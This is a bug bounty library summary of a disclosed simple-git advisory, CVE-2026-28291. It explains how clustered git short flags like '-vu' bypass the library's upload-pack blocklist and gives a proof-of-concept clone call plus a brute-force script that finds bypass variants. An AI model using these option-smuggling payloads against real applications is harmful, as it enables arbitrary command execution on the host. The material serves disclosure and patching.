# simple-git Affected by Command Execution via Option-Parsing Bypass

simple-git's blocklist for git's -u/--upload-pack options is bypassed by combined short flags like -vu, enabling OS command execution despite allowUnsafePack=false.

- Payout: Research
- Severity: high
- Program: simple-git
- Found by: JuHwiSang, adnanrahim110
- Disclosed: 2026-04-13
- CVE: CVE-2026-28291
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-jcxm-m3jx-f287
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jcxm-m3jx-f287
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:fuzzing technique:incomplete-fix vuln:command-injection vuln:rce

**Target:** npm library simple-git clone/push option handling (block-unsafe-operations-plugin)
**Root cause:** The unsafe-operations plugin regex-matches only exact `-u`/`--upload-pack`/`--receive-pack`/`--exec` forms, but git accepts clustered short options where `u` can be combined with other flags (e.g. `-vu`), so the blocklist misses them.
**Steps:**
1. Set up a local git repo at `./testrepo1` with one commit.
2. Call `simpleGit({ unsafe: { allowUnsafePack: false } })` then `git.clone('./testrepo1', './testrepo2', ['-vu sh -c "touch /tmp/pwned"'])`.
3. Observe `/tmp/pwned` created, proving command execution despite allowUnsafePack=false.
4. Brute-force variants: iterate chars 0-255 building `X-u`, `-Xu`, `-uX` and pass `sh -c "touch ..."` as the pack argument; found `--u`, `-4u`, `-6u`, `-lu`, `-nu`, `-qu`, `-su`, `-vu`.
**How found:** Noticed the patch for CVE-2022-25860 only regex-blocked literal `-u`/`--upload-pack`; reasoned git's option parsing is flexible, so brute-forced all 3-char combinations around `u` (X-u, -Xu, -uX) with a touch side-effect to enumerate bypasses.
**Exploitation:** Attacker who controls the options array passed to simple-git clone/push supplies a clustered short flag containing `u` (e.g. `-vu`) plus a shell command string; git interprets it as upload-pack and executes the command on the host, yielding arbitrary OS command execution under the Node process's privileges.
**Insight:** When a library blocklists dangerous CLI flags by regex, enumerate git's clustered short-option grammar (e.g. `-vu`, `-4u`) rather than assuming one flag per token; brute-force single-char insertions around the blocked letter with a filesystem side-effect oracle.

## Proof of concept (copied exactly from the original report)

**PoC clone with -vu option executing touch**

```
const { simpleGit } = require('simple-git');

async function main() {
    const git = await simpleGit({ unsafe: { allowUnsafePack: false } });
    await git.clone('./testrepo1', './testrepo2', [`-vu sh -c \"touch /tmp/pwned\"`]);
```

**Brute-force script finding bypass options**

```
const fs = require('fs');
const simpleGit = require('simple-git');

const TMP_DIR = './pwned/';
const ITER = 256;

function cleanTmpDir() {
    if (fs.existsSync(TMP_DIR)) {
        fs.rmSync(TMP_DIR, { recursive: true, force: true });
    }
    fs.mkdirSync(TMP_DIR, { recursive: true });
}

function getPwnedFiles() {
    const found = [];
    for (let i = 0; i < ITER; i++) {
        const fname1 = `${TMP_DIR}1_${i}`;
        const fname2 = `${TMP_DIR}2_${i}`;
        const fname3 = `${TMP_DIR}3_${i}`;
        if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');
        if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');
        if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));
    }
    return found;
}

async function runTest(runIdx) {
    const git = simpleGit();
    // 1. `${~}-u` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c \"touch ${TMP_DIR}1_${i}\"`]);
        } catch {}
    }
    // 2. `-${~}u` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', `sh -c \"touch ${TMP_DIR}2_${i}\"`]);
        } catch {}
    }
    // 3. `-u${~}` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), `sh -c \"touch ${TMP_DIR}3_${i}\"`]);
        } catch {}
    }
}

async function main() {
    cleanTmpDir();
    await runTest();

    const found = getPwnedFiles();
    
    console.log(found);
}
```

